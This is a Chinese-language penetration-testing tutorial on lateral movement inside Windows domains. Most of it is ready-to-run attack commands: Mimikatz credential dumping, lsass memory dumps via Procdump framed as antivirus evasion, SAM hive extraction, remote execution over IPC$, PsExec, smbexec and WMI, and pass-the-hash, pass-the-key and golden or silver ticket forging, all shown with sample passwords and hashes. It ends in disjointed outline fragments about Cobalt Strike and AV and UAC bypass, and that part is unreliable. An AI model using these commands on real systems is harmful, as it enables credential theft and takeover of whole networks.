渗透测试-内网横向与提权专题
windows凭据窃取MimikatzProcdumpGet-PassHashes.ps1Windows远程连接和相关命令IPC利用条件通过net来建立连接windows常用命令(查看其他文章)PsExecSmbExecWMIwmiexecwmiexec.pywmiexec.vbsInvoke-WMIMethodPTH、PTT、PTKPTH(Pass The Hash)PTK(Pass The Key)PTT(Pass The Ticket)黄金票据白银票据从外网打点到内网横向渗透,最终获取整个内网权限。渗透中级-漫游内网之横向移动横向移动 概述以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.windows凭据窃取
Windows的系统密码hash一般由两部分组成:
LM-Hash和NTLM-Hash hash
格式为username:RID:LM-Hash:NTLM-Hash
Mimikatz
Mimikatz 下载地址:/gentilkiwi/mimikatz
Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。
privilege::debug //提升权限sekurlsa::logonpasswords //抓取密码 full
导出SAM表,通过mimikatz来提取
reg save HKLM\SYSTEM SYSTEMreg save HKLM\SAM SAMlsadump::sam /sam:SAM /system:SYSTEM
Procdump
下载地址:/zhcn/sysinternals/downloads/procdump
Procdump是微软官方发布的一款调试工具,
可通过Procdump转储内存文件到本地再通过mimikatz来抓取文件中hash,
可躲避杀软查杀 使用Procdump将lsass.exe转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass
使用mimikatz从转储的lsass.dmp中读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
Get-PassHashes.ps1
下载地址:/samratashok/nishang/master/Gather/Get-PassHashes.ps1
Get-PassHashes.ps1是nishang中的一个脚本,可用于导出hash
Import-Module .\Get-PassHashes.ps1Get-PassHashes
Windows远程连接和相关命令
IPC
IPC(Internet Process Connection)共享命名管道的资源,
是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.
通过这个连接,可以在目标机器上执行命令,文件上传/下载等.
在同一时间内,
两个ip之间允许建立一个连接.
利用条件
目标机器开放129、445端口目标机器管理员开启了ipc$默认共享知道目标机器账号密码通过net来建立连接
net use \\[DC-IP]\ipc$ ["password"] /user:[username]net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator
net use查看连接
通过建立的IPC连接,可便于win7访问的文件,进行上传、下载等操作。
IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘
net use z: \\[IP]\c$ [password] /user:[username]net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator
删除IPC连接
net use \\[IP] /del /ynet use \\192.168.10.1 /del /y
windows常用命令(查看其他文章)
PsExec
下载地址:/zh-cn/sysinternals/downloads/psexec
PsExec是一种轻量级telnet-replacement,
可用于在其他系统上执行进程,为控制台应用提供完全交互性,而无需手动安全客户端软件。
PsExec需要目标机器开启admin$共享(默认是开启的),
如果目标机器开启防火墙,那么PsExec将无法使用.
PsExec基本原理:
通过ipc$连接,释放二进制文件psexecsvc.exe到目标机器
动过服务管理SCManager远程创建一个psexec服务,并启动服务
客户端连接执行命令,服务端通过服务启动相应的程序执行命令并返回数据
运行结束后删除服务
在建立ipc$的情况加可直接进行连接
PsExec.exe -accepteula \\192.168.10.1 -s cmd.exe-accepteula:第一次运行psexec时会弹窗,使用该参数不会弹框-s:以system权限运行,不使用此参数测试administrator权限
没有建立ipc$连接可通过-u,-p两个参数来指定用户名密码
PsExec.exe \\192.168.10.1 -u administrator -i -p Admin@123 cmd.exe
Metasploit中也有psexec模块
exploit/windows/smb/psexecexploit/windows/smb/psexec_psh(powershell版本)
SmbExec
下载地址:/SecureAuthCorp/impacket/blob/master/examples/smbexec.pysmbexec
smbexec是一款基于pexec的与渗透测试工具,
并配套samba工具,可以通过文件共享
在远程系统中执行命令
smbexec.py [username]:[password]@[IP]
WMI
WMI(Windows Management Instrumentation,135端口)
是Windows自带功能,WMI以本地和远程方式提供了许多管理功能,
包括查询系统信息、启动和停止进程以及设置条件触发器,
而且整个运行过程都在计算机内存中发生,具有极高的隐蔽性。
使用wmic远程执行命令,
需要在目标机器开启WMI服务(需要开放135端口,wmic会以管理员权限在远程系统中执行命令)
查看目标机器进程信息
wmic /node:[IP] /user:[username] /password:[password] process list briefwmic /node:192.168.10.1 /user:administrator /password:Admin@123 process list brief
使用cmd执行命令(没有回显需要通过ipc$和type来进行读取)
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process call create "cmd.exe /c whoami > whoami.txt"
wmiexec
对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用
wmiexec.py
该脚本是impacket工具包中的一个工具.
下载地址:/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
python wmiexec.py [username]:[password]@IPpython wmiexec.py -hashes [LM Hash]:[NT Hash] [username]@[IP]
wmiexec.vbs
通过vbs脚本来调用WMI来模拟PsExec功能.
cscript.exe //nologo wmiexec.vbs /shell [IP] [username] [password]
Invoke-WMIMethod
Invoke-WMIMethod是powershell自带的模块
#目标系统用户名$User = "DC-\administrator"#目标系统密码$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force#账号密码整合,导入Credential$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password#远程运行计算器程序Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.1" -Credential $Cred
PTH、PTT、PTK
Pass The Hash (PTH,hash传递攻击)
Pass The Ticket(PTT,票据传递攻击)
Pass The Key(PTK,密钥传递攻击)
当使用PTH的时候当目标机器存在KB2871997补丁后,PTH配合Mimikatz只能连接域用户,不能连接其他组的用户。PTK需要目标机器存在KB2871997补丁才可以连接域用户,也可以连接组,采用ase256连接,PTH与PTK都是基于NTML认证,而PTT是基于kerbros协议。
PTH(Pass The Hash)
PTH在内网中是一种经典的攻击方式,
可直接通过LM Hash(已弃用)和NTLM Hash访问远程主机或服务。
在打补丁后,常规的PTH已无法成功,唯独SID为500的用户除外,
利用这个用户仍可以通过PTH来远程ipc连接
如果禁用了NTLM认证,PsExec无法利用获得的NTLM Hash进行远程连接,
可通过Mimikatz来进行连接
在得到NTLM Hash后通过Mimikatz进行hash传递
sekurlsa::pth /user:[username] /domain:[domain] /ntlm:[NTLM Hash]sekurlsa::pth /user:administrator /domain: /ntlm:70be8675cd511daa9be4b8f49e829327 //连接域用户sekurlsa::pth /user:administrator /domain:workgroup /ntlm:70be8675cd511daa9be4b8f49e829327连接本地用户
PTK(Pass The Key)
PTK需要一个前提条件,目标主机必须打KB2871997补丁,因此用的很少
sekurlsa::ekeys//获得aes256值sekurlsa::pth /user:administrator /domain: /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT(Pass The Ticket)
PTT是基于kerberos协议进行攻击,最常见的攻击方式:黄金票据、白银票据
黄金票据
mimikatz.exe "kerberos::golden /user:[用户名] /domain:[域名] /sid:[域SID] /krbtgt:[krbtgt NTLM Hash] /ticket:Administrator.kiribi"
白银票据
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /target:[目标主机名] /service:<服务类型> /rc4:[KRBTGT NTLM Hash] /user:[任意用户名] /ptt"
参考
/articles/network/251364.html
/t/9744#toc-3
/articles/system/229200.html
http://www.kxsy.work//02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/#toc-heading-5
/bmjoker/p/10355979.html
从外网打点到内网横向渗透,最终获取整个内网权限。
三层代理内网穿透,会学习到各种内网穿透技术
cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网。
渗透中级-漫游内网之横向移动
横向移动 概述
获取 域控制权限
第三方 加载 wmi payload
主机名 \账户名
指定域用户 域名\用户 域名@用户
最后 要 用 斜杠 转义
wmi 绕过 AV 创建进程
shell 目标地址 + 凭据
wmi hash套件
查看域内 那些主机 可以用 你的凭据 登录
用百分号 分割
构造 system 权限 的 service
dump 下 哈希 和明文密码
票据
事件 溯源
smb tcp 派生
绕过 远程 UAC 执行操作
票据传递
哈希 操作 win10之后 绕过证书